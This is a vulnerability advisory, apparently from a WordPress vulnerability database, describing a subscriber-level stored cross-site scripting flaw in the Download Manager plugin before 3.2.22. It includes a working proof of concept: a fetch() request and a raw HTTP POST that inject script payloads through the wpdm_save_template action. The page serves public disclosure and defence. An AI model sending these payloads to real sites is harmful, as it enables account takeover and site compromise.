WordPress Plugin Vulnerabilities
Download Manager < 3.2.22 - Subscriber+ Stored Cross-Site Scripting
Description
The plugin does not sanitise and escape its Template data before outputting it in various pages (such as admin dashboard and frontend). Due to the lack of authorisation and CSRF checks in the wpdm_save_template AJAX action, any authenticated users such as subscriber is able to call it and perform Cross-Site Scripting attacks
Proof of Concept
fetch("https://example.com/wp-admin/admin-ajax.php", { "headers": { "content-type": "application/x-www-form-urlencoded", }, "body": "tpl[content]=%3Cimg src onerror=alert(/XSS/)%3E&action=wpdm_save_template&tplid=2&tpl[css]=</style></head><body><img src onerror=alert(/XSS/)>", "method": "POST", }) .then(response => response.text()) .then(data => console.log(data)); POST /wp-admin/admin-ajax.php HTTP/1.1 Accept: */* Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-Length: 150 Connection: close Cookie: [any authenticated user] tpl[content]=%3Cimg+src+onerror=alert(/XSS/)%3E&action=wpdm_save_template&tplid=2&tpl[css]=</style></head><body><img+src+onerror=alert(/XSS/)> The XSS via tpl[content] triggers when previewing the template (as admin). The one from tpl[css] triggers in all frontend pages (as well as template preview)
Affects Plugins
References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-11-29 (about 2 years ago)
Added
2021-11-29 (about 2 years ago)
Last Updated
2022-05-06 (about 2 years ago)